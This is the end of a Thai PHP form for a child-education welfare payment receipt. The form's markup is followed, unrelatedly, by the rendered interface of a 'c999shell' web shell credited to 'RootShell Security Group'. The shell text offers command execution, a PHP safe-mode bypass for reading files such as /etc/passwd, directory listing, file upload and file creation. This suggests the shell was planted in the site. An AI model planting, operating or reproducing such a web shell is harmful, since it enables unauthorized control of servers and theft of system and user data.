                  <input name="Name39" type="text" id="Name52" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(
                  <input name="Name40" type="text" id="Name53" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/>
                  )</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">ตำแหน่ง 
                  <input name="Name41" type="text" id="Name54" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/></td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๘.</td>
                <td>ใบรับเงิน </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ได้รับเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร จำนวนเงิน
                  <input name="Name42" type="text" id="Name55" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20" readonly="readonly"/>
                  บาท </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ตัวอักษร (
                  <input name="Name43" type="text" id="Name56" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="35" readonly="readonly"/>
                  ) ไว้ถูกต้องแล้ว</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(ลงชื่อ)
                  <input name="Name44" type="text" id="Name57" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/>
                  ผู้รับเงิน</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(
                  <input name="Name45" type="text" id="Name58" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/>
                  )</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(ลงชื่อ)
                  <input name="Name46" type="text" id="Name59" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/>
                  ผู้จ่ายเงิน</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(
                  <input name="Name47" type="text" id="Name60" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/>
                  )</td>
                </tr>
              <tr>
                <td height="30">&nbsp;</td>
                <td align="center"> วันที่.........เดือน.............. พ.ศ...........</td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td><strong>คำชี้แจง</strong></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>( ก ) ให้ระบุการมีสิทธิเพียงใด  เมื่อเทียบเท่ากับสิทธิที่ได้รับตามพระราชฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร </td>
                </tr>
              <tr>
                <td height="23">&nbsp;</td>
                <td>( ข ) ให้เสนอต่อผู้มีอำนาจอนุมัติ</td>
                </tr>
              <tr>
                <td colspan="2"></td>
                </tr>
              </table></td>
          </tr>
          </table></td>
      </tr>
      <tr>
        <td align="center"></td>
      </tr>
      <tr>
        <td align="center">&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><input type="hidden" name="codeId" value="<? echo $codeId?>&Teacher_code<? echo $Teacher_code;?>&Training_code=<? echo $Training_code;?>" />
         <span id="submitBtn"> <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" disbale  />
&nbsp;
<input type="reset" name="Reset" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
&nbsp;&nbsp;
<input type="button" name="Button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlanList.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
      </tr>
    </table>
    </form>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--